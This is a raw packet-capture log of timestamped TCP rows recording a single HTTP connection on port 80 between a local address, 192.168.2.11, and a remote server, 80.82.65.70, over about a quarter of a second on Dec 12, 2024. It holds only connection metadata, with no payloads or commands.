Dec 12, 2024 16:48:02.551938057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.551939011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.551996946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.553030968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.553039074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.553101063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.554440022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.554507971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.554546118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.554600000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.555913925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.555986881 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.556026936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.556112051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.557344913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.557472944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.557513952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.557539940 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.558866024 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.558969021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.559005022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.559032917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.560345888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.560427904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.560446978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.560524940 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.561929941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.561990976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.562031031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.562083960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.563308954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.563390017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.563407898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.563483000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.564846039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.564985037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.565037966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.565089941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.566252947 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.566346884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.566384077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.566406965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.567761898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.567878008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.567883015 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.567938089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.568977118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.569042921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.569081068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.569133997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.619895935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.620054960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.620163918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.620265007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.620321035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.620382071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.620435953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.621021032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.621083021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.621140003 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.621990919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.622051001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.622107029 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.622567892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.622643948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.622855902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.623092890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.623399019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.623420000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.623481035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.624165058 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.624243021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.624300957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.624942064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.625219107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.625272036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.625766039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.625818968 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.625897884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.626020908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.626528025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.626610994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.626616001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.626682043 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.627296925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.627391100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.627419949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.627484083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.628043890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.628092051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.628165007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.628468037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.628844976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.628948927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.629026890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.629090071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.629621983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.629683971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.629745960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.629797935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.630441904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.630496979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.630542040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.630568027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.631324053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.631422997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.631475925 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.631674051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.632011890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.632126093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.632147074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.632172108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.632787943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.632883072 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.632941961 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.633522987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.633578062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.633595943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.633624077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.634313107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.634454012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.634473085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.634501934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.635101080 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.635220051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.635277033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.635946035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.636003971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.636040926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.636193037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.636698008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.636770010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.636902094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.636970997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.637465000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.637582064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.637639046 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.638236046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.638293028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.638350964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.638474941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.639031887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.639138937 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.639144897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.639213085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.639828920 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.639915943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.639920950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.640032053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.640589952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.640655041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.640806913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.640870094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.641365051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.641510963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.641544104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.641573906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.642129898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.642290115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.642291069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.642348051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.697876930 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.697935104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.697999954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.697999954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.698162079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.698223114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.698272943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.698344946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.698981047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.699059010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.699120045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.699687958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.699748993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.734198093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.734270096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.734278917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.734368086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.734600067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.734657049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.734747887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.734805107 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.735342026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.735403061 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.735508919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.735564947 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.736229897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.736289024 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.736443996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.736500978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.736917973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.737025023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.737059116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.737081051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.737668037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.737755060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.737777948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.737827063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.738464117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.738610983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.738647938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.738672972 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.739264965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.739321947 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.739401102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.739490032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.740061045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.740117073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.740159988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.740207911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.740833044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.740876913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.740907907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.740993977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.741605997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.741667986 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.741724968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.741801023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.742355108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.742451906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.742480993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.742530107 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.743261099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.743357897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.743366957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.743405104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.743913889 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.743966103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.744048119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.744093895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.744724035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.744782925 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.744901896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.744952917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.745515108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.745564938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.745599031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.745667934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.746284008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.746341944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.746372938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.746443987 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.747111082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.747169971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.747258902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.747333050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.747874022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.747924089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.747961044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.748234987 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.748625994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.748675108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.748743057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.748794079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.812303066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.812426090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.812454939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.812520027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.812572956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.812592983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.812629938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.812655926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.813328981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.813400984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.813442945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.813509941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.814148903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.814168930 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.814230919 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.814769983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.814836025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.814883947 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.814973116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.815524101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.815664053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.815685987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.815735102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.816278934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.816329956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.816406012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.816487074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.817107916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.817166090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.817217112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.817284107 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.817934990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.818011999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.818012953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.818123102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.818614960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.818686962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.818689108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.818744898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.819417953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.819477081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.819578886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.819782019 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.820216894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.820274115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.820296049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.820327997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.820997953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.821137905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.821199894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.821247101 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.821752071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.821866989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.821918011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.822540045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.822702885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.822706938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.822762966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.823347092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.823412895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.823509932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.823570013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.824125051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.824208021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.824244022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.824296951 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.825155973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.825278044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.825351000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.825438023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.825973988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.826031923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.826073885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.826122999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.826570034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.826653957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.826658964 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.826709032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.827258110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.827361107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.827368021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.827414989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.827995062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.828068972 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.828107119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.828398943 CET	49819	80	192.168.2.11	80.82.65.70
